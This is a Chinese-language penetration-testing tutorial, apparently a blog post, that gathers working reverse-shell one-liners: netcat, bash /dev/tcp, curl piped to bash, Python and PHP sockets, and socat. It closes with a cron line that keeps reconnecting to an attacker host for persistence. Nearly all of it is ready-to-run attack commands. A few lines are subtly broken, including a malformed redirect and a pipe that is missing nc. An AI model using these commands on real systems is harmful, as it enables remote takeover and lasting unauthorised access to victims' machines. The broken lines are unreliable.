赞
踩
在日常的渗透测试中,当我们拿到一个目标网站的漏洞的时候,往往可以采用shell反弹的方式来进行下一步的操作。反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。一般的shell反弹可以结合命令执行漏洞来实现。
一、nc反弹:
绝大多数的Linux发行版本都装有netcat,但是处于安全考虑都去掉了-e这个参数。原生版的netcat仍然可以现在二进制安装包自己编译,参考:非阉割版本的netcat安装方法。除此仍然有稍微复杂的方法可以反弹:
1:有-e参数,使用nc反弹:
- nc 192.168.1.1 11111 -e /bin/bash //在受害主机中执行命令,反弹shell到192.168.1.1上
-
- nc -lvp 11111 //在192.168.1.1上面使用nc监听11111端口
2:没有-e参数,这个时候可以使用Linux神奇的管道输出符了:
- 受害主机执行:nc 192.168.1.1 12345 | /bin/bash | 192.168.1.1 54321
-
- 192.168.1.1主机上监听: nc -lvvp 12345
- nc -lvvp 54321
就是将输入的命令和输出的命令用两个不同的端口给反弹回来,然后用192.168.1.1的nc监听。
二、使用bash反弹
个人感觉这个是最方便好用的反弹shell的方式了:
- bash -i >& /dev/tcp/192.168.1.1/11111 0>1& //受害主机执行命令
-
- nc -lvp 11111 //黑客主机监听11111端口
说明:
三、curl命令配合bash反弹shell:
可以在攻击者搭建的web服务器中将bash -i >& /dev/tcp/192.168.1.1/11111 0>&1 写入到一个.php或者是.html的文件中。然后再受害主机中执行命令如:curl http://192.168.2.1/index.php | bash.命令的意思是:将curl获取到的信息交给bash处理,也就是说,将bash -i >& /dev/tcp/192.168.1.1/11111 0>&1交割bash处理。即可反弹shell。
四、使用python反弹shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.239",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
五、使用php反弹shell:
php -r '$sock=fsockopen("192.168.1.239",7003);exec("/bin/bash -i <&3 >&3 2>&3");'
六、socat反弹shell:
- kali上 socat TCP-LISTEN:12346 -
- 靶机上 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.1:12345
反弹回来shell之后,如果我们能够提权或者找到其他的漏洞可以让我们执行更高权限的命令,那么就可以做到权限维持,可以:将反弹shell命令写入计划任务,让受害主机开机即可自动连接黑客主机,如:*/1 * * * * /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1 #每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。